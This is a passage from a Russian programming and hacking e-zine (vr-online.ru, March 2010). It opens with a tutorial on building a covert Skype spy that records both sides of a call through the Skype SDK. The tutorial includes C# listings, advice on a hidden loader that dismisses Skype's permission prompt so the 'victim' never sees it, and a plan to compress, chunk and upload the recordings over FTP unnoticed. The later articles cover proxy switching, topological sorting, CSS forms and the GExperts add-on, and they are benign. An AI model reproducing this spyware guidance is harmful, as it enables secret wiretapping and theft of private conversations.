Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса, мы сможем не только записать голосовое общение пользователя, но и перехватить полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его имени и т.д. Но не будем бежать впереди паровоза, восхваляя, что еще пробовали, а познакомимся со всеми нюансами на практическом примере. Лезь на наш DVD и устанавливай сдк. Установка не должна вызвать затруднений. Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят. Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc. Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде говоря, это не совсем шаблон в привычном понимании. В реале это

34

Инсталлируем SDK в один клик


vr-online.ru

март 2010

полноценный пример, демонстрирующий все возможности хваленного мной SDK. Демка написана очень хорошо и разбираться в ее коде одно удовольствие. До начала погружения в код, запусти свой скайп и созданный проект (я сейчас про шаблон). При выполнении исходника, твой скайп преданно отрапортует, сообща, что такое-то приложение пытается получить доступ к его функциям. Давай добро на разрешение и попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как весь отправленный текст появится в текстовом поле. Это означает, что демонстрационный пример успешно работает.

Скайп требует разрешения на запуск Мощность примера не вызывает сомнений. На первый взгляд может показаться, что его код дает ответы на самые изощренные вопросы, связанные с программированием скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, нереализована. Что-ж, будем исправлять ситуацию. Перейди в редактор кода и найди описание метода OurCallStatus. В его теле описано получение различной инфы о текущем звонке. Это все хорошо и безумно интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши содержимое третьего листинга. Пока ты будешь переписывать, я расскажу о том, что там происходит. В самой первой строке, я выполняю проверку и сравниваю значение переменной status с со значением clsInProgress перечисления TCallStatus (ух, настальгическая дельфячья буковка T перед именем типа:)). Если они равны, то беседа в самом разгаре и самое время начинать запись звука. Теперь приготовься и не упади со стула, когда узнаешь, что запись осуществляется всего лишь одной строчкой: call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile, @»Путь куда сохранять» + call.Id.ToString() + «.wav»);

В первый параметр метода set_captureMicDevice требуется передать устройство, на которое будет выведен поток с микрофона. Типы устройств хранятся в перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае, в нем передается путь к файлу, в который будем сохранять результат записи. Обрати внимание, что вызовом метода set_captureMicDevice, мы сохраним лишь голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать собеседников мы будем при помощи метода set_OutputDevice: call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @”Путь куда сохранять” + call.Id.ToString() + “.wav”);

Параметры у него точно такие же, как и у предыдущего. Поэтому дважды рассказывать не буду. Можно сказать, что все готово. Компилируй и запускай проект. При стартинге не забудь одобрить в скайпе инжект, иначе ничего захватить не получится. Попробуем протестировать наше приложение в реальных условиях. Попроси своего приятеля, чтобы

35


vr-online.ru

март 2010

он тебе позвонил по скайпу и немного поболтал с тобой. Если при переписывании листинга ты был крайне внимателен, то по переданным в методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все работает как надо. Пользоваться SDK крайне просто (особенно если пишешь под .NET) и его возможности будут однозначно востребованы при разработке профессионального skype-logger’a. Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и другой полезной инфы. Все это делается путем вызова парочки методов, которые подробно документированы. Доки (само собой на английском) всегда доступны на официальном портале: https://developer.skype.com/Docs/ Skype4COMLib. Если ты испытываешь траблы с инглишом, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю, ты во всем разберешься. В крайнем случае – пиши мне.

Досадные ограничения

У официального SDK есть один, но крайне большой минус. При запуске твоего приложения, скайп будет постоянно бить тревогу. Сам понимаешь, что если жертва увидит странное окошко с вопросом: «а разрешить ли этому приложению доступ?», то 99,9%, она нажмет на кнопочку «Нет» и ты останешься в пролете. Чтобы этого не случилось, я рекомендую тебе делать две проги – одна будет ориентирована на захват звука и написана на удобном C#, а вторая будет является своего рода загрузчиком. Ее основной целью будет незаметное пребывание в системе, скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме того, через эту самую прогу-загрузчик можно будет реализовать все функции удаленного управления и т.д. В общем, идею ты понял.

Как бороться с «ненужными» окнами?

И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему -взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими окнами в нашем журнале рассказывали много раз (рекомендую статью про угон кошельков веб-мани, опубликованной года 3-4 назад), но если ты только влился в нашу тусу и не знаешь, что да как, то не поленись, зайди на bing.com и посечь на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь познакомиться с этими полезными функциями.

Вывод файлов

Рано или поздно, ты столкнешься с еще одной большой проблемой – сбором урожая. Без ошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от награбленного добра если его нельзя забрать и проанализировать? Верно, никакого. Шпион для скайпа – это не кейлоггер и его логи так просто по почте не отправишь. Мало того, что файлы со звуком весят ни мало, так еще и пересылать их протоколу smtp совсем не айс. Задача вывода файлов усложняется в несколько раз, если юзер сидит не на безлимите (да-да, такие еще встречаются). В этом случае, пересылка больших по объему файлов не останется не замеченной в статистике и это обязательно насторожит продвинутого пользователя. Особенно, если он будет испытывать большие тормоза во времяпрепровождения в сети. Немного покумекав, я пришел к следующему алгоритму: 1. Кодирование каждого файла со звуком в формат mp3. Все разговоры нашей жертвы мы писали в WAV’ы, которые очень много весят. Например, средний размер продолжительной беседы (около

36


vr-online.ru

март 2010

часу) может достигать 50-80 метров (в зависимости от настроек). Пересылать такой файл в чистом виде мягко говоря нереально. Перекодировка в формат mp3 частично решит проблему размера. Если выставить максимальную степень сжатия и минимальный битрейт, то размер удастся сократить в 3-4 раза. Это уже лучше, но не все же не идеально. Вывод тех же 5 метров может показаться затруднительным. 2. Разбивка файла на более мелкие части. В предыдущем абзаце я сказал, что даже такая операция как кодирование файла в mp3 не спасет тебя от проблем с пересылкой. Лучше всего, разбить сжатый файл на более мелкие части и отправлять уже их. Например, раздробить mp3 на частички по 300-500 Кб. Такие крохотульки будет куда проще и быстрей вывести с поле битвы По подготовке файлов к отправке я вроде все сказал. Теперь быстренько пробежимся по способу отправки. Несколькими абзацами выше, я заявил, что пересылать такие вещи по smtp не очень правильно, да и попросту проблематично. Куда лучше заюзать проверенный годами старый добрый ftp. Встроить в свое .NET приложение простенький FTP клиент – что может быть проще. Взгляни на третий листинг и убедись сам.

Happy end

Нет предела возможностям человека и нет предела совершенству. Не решаемых задач не бывает и все трудности можно преодолеть. Сегодня я рассказал тебе про строение скелета voice-logger’a и дальше выбор зависит от тебя. Либо ты сведешь всю полученную инфу в одну кучу и создашь неуловимого шпиона для скайпа, либо разработаешь профессиональный инструмент для легального бэкапа переговоров :). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе удачи! P.S. Полные исходники моего трояна не проси. Все равно не дам, я жадный. А если серьезно, я не поддерживаю такие вещи и не хочу чтобы многие тупо компили готовый проект и приступали к боевым действиям. Прослушка разговоров – это вторжение в личную жизнь, а это помимо незаконности еще и подло! До встречи!

Листинг 1. Записываем звук //Подготавливаемся к записи waveIn = new WaveIn(); waveIn.DeviceNumber = 0; waveIn.DataAvailable += waveIn_DataAvailable; int sampleRate = 8000; int channels = 1; waveIn.WaveFormat = new WaveFormat(sampleRate, channels); waveIn.StartRecording(); void waveIn_DataAvailable(object sender, WaveInEventArgs e) { if (recordingState == RecordingState.Recording) writer.WriteData(e.Buffer, 0, e.BytesRecorded); … }

37


vr-online.ru

март 2010

Листинг 2. Запись входящих звонков в файл try

{ // Запись входящего звонка if (status == TCallStatus.clsInProgress) { //Захватываем звук и сохраняем его в //файл (поток пользователя) call.set_CaptureMicDevice( TCallIoDeviceType.callIoDeviceTypeFile, @»C:\temp\sound_user» + call.Id.ToString() + “.wav”); // Захватываем звук и сохраняем //его в файл (всех остальных собеседников call.set_OutputDevice( TCallIoDeviceType.callIoDeviceTypeFile, @»C:\temp\sound_people» + call.Id.ToString() + «.wav»); }

}

{

catch (Exception e) //Выведем ошибки AddTextToTextBox1(DateTime.Now.ToLocalTime() + «: « + « Our Code – Невозможно выполнить захват аудио: « + call.Id.ToString() + “ – Источник ошибки: “ + e.Source + “ – Текст ошибки: “ + e.Message + “\r\n”);

}

Листинг 3. FTP клиент средствами класса на основе класса FTP Dot .NET try {

FtpConnection myFtpConnection = new FtpConnection(); myFtpConnection.MessageReceived += new FtpConnectionEventHandler(connection_MessageReceived); myFtpConnection.Host = «ftp://myftpserver»; myFtpConnection.UserName = «username»; myFtpConnection.Password = «password»; myFtpConnection.RemoteDirectory = «/temp/testforxakep»;

38


vr-online.ru

март 2010

myFtpConnection.Upload(@»C:\temp\sound.part1.mp3», «sound.part1.mp3»); } catch (WebException ex) { Console.WriteLine(ex.ToString()); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } void connection_MessageReceived(object sender, FtpConnectionEventArgs e) { Console.WriteLine(e.Message);

39


март 2010

vr-online.ru

Поротников Андрей aka wwwnet (aporotnikov@gmail.com)

C#: Меняем настройки прокси В настоящее время дома у меня доступ в Интернет через прокси-сервер. Для того, чтобы все программы имели доступ в глобальную сеть, я использую следующее решение: в реестре прописываю настройки прокси-сервера для internet Explorer, а затем, запустив netsh от имени администратора, использую команду winhttp import proxy source=ie, тем самым установив прокси-сервер для всей системы. Сделал это один раз и предоставил всем программам доступ в Интернет. Ситуация изменилась после покупки ноутбука – на работе используется другой проксисервер, поэтому придя на работу с ноутбуком приходилось менять настройки указанным выше способом. Естественно, это было неудобно, и я решил процесс автоматизировать, написав небольшую утилиту на C#. Для начала импортируем функцию одной из библиотек Windows:

[DllImport(«wininet.dll»)] public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);

Также объявим две константы, о назначении которых расскажу ниже: public const int INTERNET_OPTION_SETTINGS_CHANGED = 39; public const int INTERNET_OPTION_REFRESH = 37;

Затем нужно изменить настройки прокси-сервера Internet Explorer в реестре: RegistryKey regKey = Registry.CurrentUser; regKey = regKey.CreateSubKey(@»Software\Microsoft\Windows\CurrentVersion\Internet Settings»); regKey.SetValue(«ProxyEnable», 1);

На форме у меня расположен comboBox с возможными конфигурациями (домашняя и рабочая), поэтому в зависимости от выбранной конфигурации в реестр записываются различные параметры: if (0 == cboxConf.SelectedIndex) { regKey.SetValue(“ProxyServer”, “192.168.1.5:3128”); } else { regKey.SetValue(“ProxyServer”, “172.16.16.30:3128”); } regKey.Close();

Теперь, чтобы применить изменения, нужно уведомить систему о них. Это делается с помощью импортированной ранее функцией InternetSetOption, в качестве одного из параметров передаем ей объявленные ранее константы: InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0); InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);

Первым вызовом функции уведомляем систему о том, что настройки были изменены, а вторым указываем на то, что необходимо обновить настройки. На данный момент у нас настроен прокси-сервер для Internet Explorer’а. Теперь сделаем эти настройки общесистемными. Тут я не стал особо раздумывать и просто вызываю netsh с необходимыми

40


vr-online.ru

март 2010

параметрами: ProcessStartInfo psi = new ProcessStartInfo(Environment.SystemDirectory + @»\netsh. exe», «winhttp import proxy source=ie»); Process.Start(psi);

На этом основной код заканчивается. Но есть один нюанс. Для успешного выполнения операции по смене системного прокси, необходимо обладать правами администратора. Конечно, можно вызывать программу через контекстное меню «Запустить от имени администратора», но если программе для выполнения необходимы привилегии администратора, почему бы не сделать так, чтобы утилита при запуске сама их запрашивала? Воспользуемся здесь возможностями UAC. Для этого изменим манифест приложения. Вот текст манифеста: <?xml version=”1.0” encoding=”utf-8”?> <asmv1:assembly manifestVersion=”1.0” xmlns=”urn:schemas-microsoft-com:asm.v1” xmlns:asmv1=”urn:schemas-microsoft-com:asm.v1” xmlns:asmv2=”urn:schemas-microsoft-com:asm.v2” x m l n s : x s i = ” h t t p : / / w w w . w3.org/2001/XMLSchema-instance”> <assemblyIdentity version=”1.0.0.0” name=”sp” type=”win32” /> <trustInfo xmlns=”urn:schemas-microsoft-com:asm.v2”> <security> <requestedPrivileges xmlns=”urn:schemas-microsoft-com:asm.v3”> <requestedExecutionLevel level=”requireAdministrator” /> </requestedPrivileges> </security> </trustInfo> </asmv1:assembly>

Параметр, на который я хочу обратить ваше внимание – это <requestedExecutionLevel level=”requireAdministrator” />. В нем как раз и указывается, что программе нужны административные привилегии. По умолчанию параметр имеет значение «asInvoker», что дает права программе такие же, как и у родителя. Осталось только подключить манифест к программе. В Visual Studio зайдите в параметры проекта на вкладку Application и в параметре Manifest укажите путь к файлу. Теперь можно компилировать проект. При запуске приложения будет появляться окно с вопросом, разрешить ли программе вносить изменения на компьютере. Внимание! Программы, которым таким образом задано получать права администратора, нельзя публиковать с помощью технологии ClickOnce.

41


март 2010

vr-online.ru

Дмитрий Мгали aka alfenius

Топологическая сортировка Динамические структуры данных характеризуются тем, что в процессе работы количество элементов логической структуры постоянно меняется. Для динамических структур данных характерны следующие особенности: непостоянство размера занимаемой памяти, наличие механизма связи между логическими элементами, запросы на создание новых элементов и ликвидацию старых, специальные меры по сборке «мусора». Для написания алгоритма топологической сортировки, потребуются знания линейных списков. К простейшим динамическим структурам относятся линейные структуры списки. Под списком понимается такая логическая организация данных, когда элементы упорядочены в линейном порядке. Каждый элемент несет некоторую информацию и связан с последующим. Первый элемент структуры называется головным. Последний элемент содержит признак конца списка (nil). В качестве примера рассмотрим задачу формирования и печати списка из N элементов. В информационном поле разместим номер элемента. Программа на Delphi будет иметь следующий вид: Type ref = ^elem; { структура списка } elem = record inf : integer; next : ref end; Var Head, T : ref; N, i : integer; Begin readln(N); { количество элементов списка } Head:=nil; if N>0 then begin new(Head); { отдельно создаем первый элемент списка } Head^.inf:=1; T:=Head; for i:=2 to N do begin { создание всех последующих элементов списка } new(T^.next); T:=T^.next; T^.inf:=i; end; T^.next:=nil end; { список создан, приступаем к печати (не используя информации о количестве элементов) } T:=Head; while T<>nil do begin

42


март 2010

vr-online.ru

End.

end

writeln(T^.inf); T:=T^.next

Для тех, кто знаком с линейными списками алгоритм будет понятен. Существуют различные типы списков: с заглавным элементом, односвязный, двухсвязный, кольцевой и т.п. Приступим к самому главному!

Топологическая сортировка

Топологическая сортировка – это одна из известных задач в программировании, в которой широко применяются списки. Под топологической сортировкой понимается сортировка элементов, для которых определен частичный порядок, то есть упорядочение задано не на всех, а только на некоторых парах элементов. Сходу не понять, поэтому приведу пример: В институтской программе изложение одних курсов опирается на другие курсы. Скажем, для того, чтобы понять курс по структурам данных необходимо прежде прослушать курс по программированию. С другой стороны, на порядок изложения названных курсов никак не влияет курс по физике. Топологическая сортировка для набора курсов означает определение такого порядка чтения курсов, при котором ни один курс не читается раньше того, на материале которого он основан. Частичный порядок элементов удобно представлять в графическом виде. При этом каждому элементу (в нашем примере – курсу) соответствует некоторый узел графа, а зависимость (частичный порядок) задана направленными дугами. Ниже приводится пример задания частичной зависимости на множестве восьми учебных дисциплин. В скобках обозначены их условные сокращения.

43


vr-online.ru

март 2010

В нашем примере порядок может быть таким: О, Ф, К, Х, Д, С, Б, Т. Понятно, что этот вариант не является единственным. Более того, реальная задача может оказаться гораздо более громоздкой. Возможны варианты, когда топологическая сортировка может вовсе не иметь решения. Проверка найденного решения очень проста: достаточно в полученной последовательности провести дуги, связывающие частично упорядоченные элементы. Если все дуги будут направлены слева направо, то найденный порядок допустим. Если хотя бы одна дуга направлена в обратную сторону, то решение неверно.

Алгоритм топологической сортировки

В данной статье обсуждение алгоритма идёт на Delphi, но так же можно скачать мою программу на c++ (c комментариями). Для упорядоченной пары элементов А→В элемент А будем называть предшественником, а элемент В преемником. Суть алгоритма заключается в следующем. а) Для каждого элемента определяем его преемников и подсчитываем количество его предшественников. В дальнейшем работаем не с исходным графом, а с множеством элементов, каждому из которых приписан счетчик предшественников и список преемников. б) Выбираем из построенного множества и помещаем в выходной список элементы, не имеющие предшественников (с нулевым счетчиком). в) Каждое извлечение элемента (см. пункт б) сопровождаем пересчетом количества оставшихся предшественников. Причем, эта операция затрагивает только те элементы, которые являются преемниками удаляемого. Пункты б) и в) повторяем до тех пор, пока это возможно. Если в очередной раз пункт б) не выполним, а множество непустое, то топологическая сортировка невозможна. Если же множество исчерпано, то топологическая сортировка выполнена «удачно» и в выходном списке перечислены элементы в допустимом порядке. По нашему алгоритму для каждого элемента необходимо хранить список преемников и счетчик числа предшественников, поэтому представим наше множество массивом по количеству элементов: Const max=...; {количество элементов графа} Type Ref : ^Elem; Elem = record N: 0..max; {количество предшественников элемента–преемника} next: Ref { ссылка на список преемников } end; Var A : array [1..max] of record name: string; {наименование } { элемента} data: Elem; end;

или

номер

Причем поле N можно использовать: как счетчик предшественников для данного элемента и как номер элемента, являющегося преемником данного. Кроме того, для организации выборки элементов с нулевыми счетчиками, целесообразно такие элементы связать в список. Для этого можно вновь задействовать поле N. Пример. Выпишем связи из предыдущего примера: К→С, К→Т, К→Б, С→Т, С→Б, Д→Т, О→Ф, О→Д, О→Т. Описанный выше массив A графически будет выглядеть так, как изображено на рисунке ниже.

A[1]: A[2]: A[3]: A[4]:

44

С К Ф О

1 0 1 0

→ → → →

5 1 nil 3

→ →

6 5

→ →

nil 6

nil

8

5

nil


vr-online.ru

март 2010

A[5]: A[6]: A[7]: A[8]:

Т Б Х Д

4 2 0 1

→ → → →

nil nil nil 5

nil

Здесь значения, проставленные в прямоугольниках, означают следующее. Первый числовой столбец (1, 0, 1, 0, 4, 2, 0, 1) – счетчики числа предшественников. Все последующие числовые значения задают номера элементов, являющихся преемниками данного. В начальном состоянии имеются три элемента: 2, 4, 7 – с нулевыми счетчиками. Свяжем их в отдельный список. Через Q будем обозначать указатель на начальный элемент списка. Через R обозначим последний элемент. Определим типы: Q, R : integer Таким образом, информация об исходном частично упорядоченном множестве примет вид: Q=2, R=7. Для связывания элементов списка Q будем использовать опять же поле N. После чего наша структура примет вид:

A[1]: A[2]: A[3]: A[4]: A[5]: A[6]: A[7]: A[8]:

С К Ф О Т Б Х Д

1 4 1 7 4 2 0 1

→ → → → → → → →

5 1 nil 3 nil nil nil 5

→ →

6 5

→ →

nil 6 →

nil

8

5

nil

nil

Сейчас A[Q].N – это уже не счетчик, а указатель на следующий элемент списка Q. Соответственно, A[R].N принимает нулевое значение, которое можно трактовать как пустую ссылку. Случай, когда список Q пуст задается значениями Q=0, R=0. Блок схема алгоритма топологической сортировки выглядит следующим образом: 1. Инициализация массива A. 2. Ввод исходных данных вида М -> K. 3. Подсчет количества предшественников и формирование списков преемников. 4. Организация списка Q и задание его хвоста R 5. L:= 0. { Количество элементов, выведенных на печать } 6. Если Q=0, то переход на п13. 7. Извлечение и печать первого элемента списка Q. 8. L:=L+1 9. Если L=max, то переход к п14. 10. Просмотр преемников элемента с номером Q, пересчет числа предшественников этих элементов. Если у какого–либо элемента P число предшественников стало равным нулю, то включить данный элемент в список Q с конца: A[R].data.N:=P; R:=P. 11. Перестроение начала списка: Q:=A[Q].data.N 12. Переход к п6. 13. Вывод: «полное решение не существует» 14. Конец работы. Надеюсь алгоритм топологической сортировки понятен, можете скачать мою программу на c++. Спасибо за внимание!

45


vr-online.ru

март 2010 Spider_NET aka Игорь Антонов (antonov.igor.khv@gmail.com)

CSS3: Создание оптимизированных интерактивных HTML форм

CSS3 предоставляет разработчикам большую гибкость при создании оптимизированнго HTML кода. Селекторы CCS3 имеют богатое количество фильтров элементов DOM, позволяющие свести к минимуму использование “встроенных” атрибутов и стилей в HTML кода. В этой заметке я дам краткий обзор о том, как использовать CSS3 при создании HTML форм. Все это я рассмотрю на примере формы, расположенной ниже:

Мы попытаемся по максимуму оптимизировать HTML, применяя стили CSS3.

Понятие форм

Рассмотрим форму, показанную на рисунке ниже. Она состоит из 4 частей: 1. Заголовок в шапке (<th>) 2. Надписи слева (<td>) 3. Поля ввода справа (<td> & <input type=”text” />) 4. Кнопки под формой (<input type = “submit” />)

Создание простой HTML формы

Ниже приведен код, создающий простейшую HTML форму. Атрибуты элементам мы присваивать не будем. К таблице применяется всего лишь один класс – tblform. В итоге мы получаем очень “чистый” html код.

46


vr-online.ru

март 2010

<table> <tr> <th colspan=”2″> Please enter your details below. </th> </tr> <tr> <td> Name </td> <td> <input type=”text” /> </td> </tr> <tr> <td> Email </td> <td> <input type=”text” /> </td> </tr> <tr> <td> Mobile </td> <td> <input type=”text” /> </td> </tr> <tr> <td> </td> <td> <input type=”submit” value=”Submit” /> <input type=”submit” value=”Cancel” /> </td> </tr> </table>

Создаем CCS файл

Набрав предложенный выше html код, мы создадим нашу форму. Если ты сейчас попробуешь посмотреть созданную страницу, то увидишь ужасную форму. Чтобы она стала похожей на ту, которую я показал на рисунке, необходимо создать файл со стилями, в котором должен быть описан класс tblform. Код файла с css приведен ниже:

47


vr-online.ru

март 2010

body { font-family: Calibri; font-size: 11pt; margin: 200px; } .tblform { border-collapse: collapse; width: 100%; font-family: Calibri; font-size: 11pt; } .tblform td { padding: 5px; border: solid 1px #E1E1E1; } .tblform th { padding: 5px; border: solid 1px #E1E1E1; font-weight: normal; text-align: left; background-color: #E1E1E1; font-weight: bold; } .tblform td input[type=text] { border: 1px solid #CCCCCC; width: 180px; height: 20px; padding-left: 5px; } .tblform td:first-child { padding: 5px; border: solid 1px #E1E1E1; background-color: #F2F2F2; } .tblform td input[type=submit], .tblform td input[type=submit]:hover { background-image: url(button-bg.gif); background-repeat: repeat-x; line-height: 22px; height: 25px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-size: 11px; color: #333333; padding: 0px 10px 0px 10px; border: 1px solid #999999; cursor: pointer !important; }

Вот так можно создать красивую форму не используя кучу классов. CSS3 предоставляет для этого все необходимое. Автор: kiran dangar WWW: http://www.codeproject.com/Members/kiran-dangar Оригинал статьи на английском: http://www.codeproject.com/Articles/64142/Utilizing-CSS3features-Creating-interactive-and-o.aspx

48


vr-online.ru

март 2010 Spider_NET aka Игорь Антонов (antonov.igor.khv@gmail.com)

GExperts: Помощник для Delphi

В этой статье я хочу рассказать тебе об очень полезном инструменте, который, на мой взгляд, должен быть у каждого Delphi-разработчика. Имя этому инструменту – Gexperts (http://www.gexperts.org/).

Что такое GExperts

GExeprst – это дополнение для Delphi IDE (кстати, он дружит не только с Delphi), позволяющее существенно повысить производительность и качество работы Delphi-разработчика. Путем чего это достигается? Ответ на этот вопрос прост – «Большим количеством полезных функций». В этой заметке я лишь расскажу вам о функциях, а в мартовском номере нашего журнала, вернусь и рассмотрю использование GExperts на более подробных примерах.

Что умеет GExperts

1. ASCII Chart – таблица символов АСКИ. Скажи, ты наверняка сталкиваешься с проблемой, когда тебе требуется получить цифровой код какого-то символа? У меня такая трабла хоть редко, но возникает. До использования этого дополнения я ее решал старым дедовским способом – используя функции ord(), chr(). С GExperts все намного проще. Он просто выводит окно таблицы ASCII.

Выбираешь любой шрифт и тип системы исчисления и - вуаля! Все как на ладони. Никаких лишних телодвижений и самодеятельности.

2. Конструктор MessageBox’ов

В любом приложении приходится выводить различные сообщения. В Delphi этот процесс упрощен до придела. Все сводится к вызову метода MessageBox объекта Application. Указываем необходимые параметры и все готово. Единственное, что мне в этом процессе всегда не нравилось – подбирать константу, отвечающую за внешний вид месседжа. Как ты знаешь, он может быть нескольких видов: Warning, Error, Information и т.д. Стоит мне не программировать на Delphi месяц другой, как моя память напрочь забывает все эти константы. Приходится лезть в справочник и освежать знания. Специально для

49


vr-online.ru

март 2010

таких, как я, в GExpert есть фича – Message Dialog. Или попросту говоря, конструктор диалогов (см. соответствующий рисунок). С помощью этой «полезняшки», состряпать очередной диалог или мессадж- бокс проще пареной репы. Пишем текст, выбираем тип, отмечаем кнопки, которые будут в нем отображаться, тестируем и получаем готовый код.

3. Библиотека макросов (Macro Library)

Мне очень нравится, когда программы, с которыми приходится подолгу работать поддерживают всевозможные варианты автоматизации действий. Например, в Excel, Word есть так называемые макросы, которые позволяют записать действия пользователя, а потом при необходимости их воспроизвести. Они меня очень спасают при выполнении однотипных операций. GExperts вносит подобный механизм и в Delphi IDE. Ты также как и в Excel/Word’е записываешь последовательность действий, а потом при необходимости воспроизводишь ее. Разве это не круто?

4. Горячие клавиши для пунктов меню (IDE Menu Shortcuts)

Я очень люблю пользоваться горячими клавишами. Жаль, только не для всех функций они обычно реализованы в программе. Среда разработки Delphi – не исключение. Для некоторых операций было бы здорово иметь свой хот-кей, а его разработчики не предусмотрели. GExperts элегантно решает и эту проблему. Его функция IDE Menu Shortcuts позволяет привязать свой хот-кей к любому пункту меню IDE. К этой фиче очень быстро привыкаешь и когда приходится поработать за «чужой» Delphi сразу начинаешь ощущать дискомфорт.

5. Надстройка для редактора кода (Editor Experts)

Это последняя фишка, о которой я собираюсь рассказать в этой заметке. В ее возможностях вроде нет ничего фантастического, но она мне очень понравилась. Итак, рассказываю, в чем суть. Editor Experts – это несколько вкусняшек, позволяющих быстро выполнить рутинные операции в редакторе кода. Например, мне часто приходится комментировать отдельные участки кода. Ты знаешь, что в Delphi для этого лучше всего использовать фигурные скобки ({}). Именно позволяют сделать многострочный комментарий. Вроде все удобно, но на самом все иначе. Получается, что для того чтобы закомментировать участок кода, необходимо сначала установить курсор в начале, потом поставить символ открывающий скобки, затем перейти в конец комментируемого участка и проделать ту же самую операции (само собой, поставив символ закрывающей скобки). Лишних телодвижений очень много. Мне всегда нравилось, как эта операция выполнялась в редакторе кода 1С:Предприятие 8. Выделил кусок кода, нажал хот-кей и на тебе, код стал закомментирован. Передумал комментировать – опять выделил, клацнул хот-кей и все готово. Я очень обрадовался, когда узнал, что GExpert позволяет делать то же самое в моем любимом Delphi. Выбираем Editor Experts, потом Comment Code (или сразу запоминаем горячую клавишу) и все!

50


vr-online.ru

март 2010

Помимо этой полезной фишки, Editor Experts позволяют: - Вставлять в код текущую дату - Выравнивать строки - Изменять регистр текста - Выполнять сортировку строк - и т.д.

6. PE Information Получить сведения о PE – не часто возникающая задача. Однако она все же может возникнуть. Раньше, я ее решал с помощью отдельной утилиты PE Explorer. Теперь я не парюсь, а получаю всю необходимую мне информацию прямо из Delphi. Не правда ли здорово?

7. Браузер классов (Class Browser)

В состав GExperts входит браузер классов. С его помощью очень легко путешествовать по имеющимся в коде классам. Мне очень понравилось, что в этом браузере есть возможность выбирать типы методов класса, которые будут показаны (например, есть возможность отображать лишь приватные методы), а также есть возможность быстрого просмотра кода выбранного метода. Кроме всего

51


март 2010

vr-online.ru

вышеперечисленного, с помощью браузера классов ты можешь распечатать «схему» определенного класса. На ней будут показаны родители класса, потомки и т.д. Эта фича приходится весьма кстати, когда требуется задокументировать спроектированные классы.

8. Работящий дворник (Clean Directories)

Ты наверняка знаешь, что в процессе разработки приложения на Delphi, в папке с проектом создается куча временных скрытых файлов. Обычно в имени этих файлов присутствует символ тильды (~). Чтобы избавится от этого мусора есть несколько способов: изменить соответствующую настройку IDE или каждый раз удалять их вручную. Отключать возможность создания временных файлов (по сути, в них находится резервные копии файлов твоего проекта) крайне не рекомендуется. Случается всякое и иногда эти, казалось бы, бесполезные файлы могут все же понадобится. Сам понимаешь, такие случаи, как правило, и случаются тогда, когда ты уже отключил их создание. Именно поэтому, решать эту задачу таким кардинальным способом не стоит. Минусы второго способа опять же в

52


vr-online.ru

март 2010

представлении не нуждаются. Если сказать кратко – это просто неудобно. В качестве автоматизации, я всегда делал bat- файл, в котором были забиты команды для удаления всех не нужных файлов. Каждый раз, создавая новый проект, я копировал в его папку новый батник. Тем самым хоть как-то, но экономил время. В GExperts эта задача решается на раз-два-три. Выбираем Clean Directories, указываем в появившемся окне папки, в которых необходимо производить удаление временных файлов. По умолчанию, сразу предложена папка с текущим проектом. Помимо директории, нужно указать расширения, которые должны быть удалены. Отмечаем и нажимаем кнопку “Clean”. А что дальше? Ничего! Все уже готово.

9. Резервное копирование проекта (Backup Project)

Ты часто делаешь бэкапы своего проекта? Нет? Очень плохо! Бэкапы делать нужно обязательно и чем, чаще, тем лучше. В любой момент может потребоваться вернуться назад и очень плохо, когда такое возвращение не удается сделать. В самой Delphi нет встроенных средств для выполнения резервного копирование. Его приходится выполнять ручками – банально компонуя все файлы проекта в архив. Сам понимаешь, операция рутинная и неинтересная. Я очень был рад, когда узнал, что разработчики GExperts снабдили свое детище функцией Backup Project. С ее помощью на бэкап проект уходит лишь несколько кликов мышкой. В окне BackupProject выбираем файлы проекта, которые необходимо забэкапить и нажимаем кнопку «Backup». Сразу же перед тобой появится окно, в котором требуется указать имя архива и выбрать путь для сохранения. Кроме того, Backup Project также может похвастаться возможностью установки пароля на создаваемый архив. Вроде мелочь, а приятно

53


vr-online.ru

март 2010

10. История содержимого буфера обмена (Clipboard History)

Сколько раз при разработке очередного проекта я ловил себя на мысли: «блин, опять затупил! Как меня угораздило затереть содержимое буфер обмена!». Со мной всегда это происходит в неподходящий момент. Бывает нужно перенести какой-то кусок кода из одного места в другое (не переписывать же его). Выделяю код, вырезаю и … отвлекаюсь и копирую в буфер что-нибудь еще. В такие моменты меня начинает пробивать холодный пот, особенно когда я нажимаю Ctrl-Z (чтобы отменить последнее действие), а IDE молчит как партизан. Ситуация не из приятных, особенно когда на кону большой кусок кода К счастью, в GExperts предусмотрели и это. Clipboard History призван, пристально следить за содержимом буфера обмена и хранить в своих недрах копию всех кусков скопированного текста. Затер случайно, нужный «буфер» – не беда. Находим его в Clipboard History и копируем заново или сразу же вставляем в редактор кода. Используй эту фичу и забудь про случайные потери буферов

